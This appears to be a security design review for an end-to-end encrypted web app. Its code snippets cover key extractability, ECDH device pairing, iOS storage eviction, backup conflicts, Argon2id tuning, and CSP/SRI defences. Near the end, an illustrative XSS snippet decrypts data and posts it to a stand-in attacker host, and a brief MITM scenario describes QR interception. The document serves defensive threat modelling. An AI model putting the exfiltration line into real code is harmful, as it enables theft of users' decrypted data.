// Plan creates keys as non-extractable
const key = await crypto.subtle.generateKey(
  { name: 'AES-GCM', length: 256 },
  false, // ❌ non-extractable
  ['encrypt', 'decrypt']
);

// But then tries to export for cloud backup
async exportKeyForBackup(): Promise<ArrayBuffer> {
  return crypto.subtle.exportKey('raw', key); // ❌ WILL FAIL!
}

// Keys MUST be extractable when cloud backup enabled
const extractable = userWantsCloudBackup ? true : false;
const key = await crypto.subtle.generateKey(
  { name: 'AES-GCM', length: 256 },
  extractable, // ✅ conditional based on user choice
  ['encrypt', 'decrypt'],
);

Scenario: MITM Attack
1. User tries to pair new device
2. Attacker intercepts QR display (screen share malware)
3. Attacker shows own QR code
4. User scans attacker's QR → master key compromised
5. Attacker decrypts all data

// 1. Primary device generates ephemeral ECDH key pair
const primaryKeypair = await crypto.subtle.generateKey(
  { name: 'ECDH', namedCurve: 'P-256' },
  true,
  ['deriveKey']
);

// 2. QR code contains PUBLIC key only (safe)
const qrPayload = {
  publicKey: await crypto.subtle.exportKey('spki', primaryKeypair.publicKey),
  sessionId: generateSessionId(),
};

// 3. New device generates own ECDH key pair
const newDeviceKeypair = await crypto.subtle.generateKey(...);

// 4. Both devices derive shared session key (ECDH magic)
const sessionKey = await crypto.subtle.deriveKey(
  { name: 'ECDH', public: otherDevicePublicKey },
  ownPrivateKey,
  { name: 'AES-GCM', length: 256 },
  false,
  ['encrypt', 'decrypt']
);

// 5. Primary encrypts master key with session key
const encryptedMasterKey = await crypto.subtle.encrypt(
  { name: 'AES-GCM', iv: randomIV },
  sessionKey,
  masterKey
);

// 6. Visual verification (6-digit code on both devices)
const verificationCode = await calculateFingerprint(
  primaryPublicKey,
  newDevicePublicKey
);
// User confirms codes match → prevents MITM

Day 1: User sets up encryption on iPhone
Day 8: User opens app (hasn't used in 7 days)
Result: IndexedDB deleted → encryption key GONE → ALL DATA LOST

// Detect iOS Safari
const isIOSSafari = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream;

if (isIOSSafari) {
  // REQUIRE recovery password on iOS (not optional)
  const password = await showRecoveryPasswordDialog({
    canSkip: false, // ❌ No skip button on iOS
    message: 'iOS Safari may delete local data. Recovery password required.',
  });
} else {
  // Desktop: Optional recovery password
  const password = await showRecoveryPasswordDialog({
    canSkip: true, // ✅ Can skip on desktop
  });
}

if (IS_CAPACITOR) {
  // Store key in native iOS Keychain (survives 7-day deletion)
  await Preferences.set({
    key: 'encryption-master-key',
    value: await exportKey(masterKey),
  });
}

Device A (11:00:00): Uploads KeyA to server
Device B (11:00:01): Uploads KeyB to server (overwrites KeyA)
Result: Device A can no longer decrypt Device B's data

await prisma.keyBackup.upsert({
  where: { userId },
  create: { userId, encryptedKey, salt },
  update: { encryptedKey, salt }, // ❌ Blindly overwrites
});

// Server-side conflict detection
fastify.post('/api/key-backup', async (req, reply) => {
  const { userId } = req.user;
  const { encryptedKey, salt, deviceId } = req.body;

  const existing = await prisma.keyBackup.findUnique({
    where: { userId },
  });

  if (existing && existing.deviceId !== deviceId) {
    // CONFLICT: Different device uploaded key
    return reply.code(409).send({
      error: 'KEY_CONFLICT',
      message: 'Another device has uploaded a different encryption key',
      existingDeviceId: existing.deviceId,
    });
  }

  // Safe to upsert
  await prisma.keyBackup.upsert(...);
});

// Client-side conflict resolution
try {
  await uploadKeyBackup(...);
} catch (err) {
  if (err.status === 409) {
    // Show user choice dialog
    const choice = await showDialog({
      title: 'Key Conflict Detected',
      message: 'Another device has uploaded a different encryption key. Choose:',
      options: [
        'Use This Device\'s Key (Other Device Will Lose Data)',
        'Download Other Device\'s Key (This Device Loses Data)',
        'Cancel Setup',
      ],
    });

    if (choice === 0) {
      await uploadKeyBackup({ force: true }); // Overwrite
    } else if (choice === 1) {
      await downloadKeyBackup(); // Import other key
    }
  }
}

const kek = await Argon2id.hash(recoveryPassword, {
  salt,
  iterations: 3, // ❌ Minimum (2019 standard)
  memory: 64 * 1024, // ❌ 64 MB (minimum)
  hashLength: 32,
});

const kek = await Argon2id.hash(recoveryPassword, {
  salt,
  iterations: 4, // ✅ +1 iteration
  memory: 256 * 1024, // ✅ 4x stronger
  parallelism: 2, // Mobile-friendly
  hashLength: 32,
});

// Adaptive parameters for low-end devices
const memory = IS_LOW_END_MOBILE ? 128 * 1024 : 256 * 1024;
const iterations = IS_LOW_END_MOBILE ? 3 : 4;

// XSS payload CAN still do this:
const key = await indexedDB.getKey('master');
const plaintext = await crypto.subtle.decrypt(
  { name: 'AES-GCM', iv },
  key,
  encryptedData,
);
fetch('https://attacker.com', { method: 'POST', body: plaintext }); // ❌ Data stolen

<!-- Content Security Policy -->
<meta
  http-equiv="Content-Security-Policy"
  content="script-src 'self' 'sha256-...'; object-src 'none';"
/>

<!-- Subresource Integrity -->
<script
  src="app.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>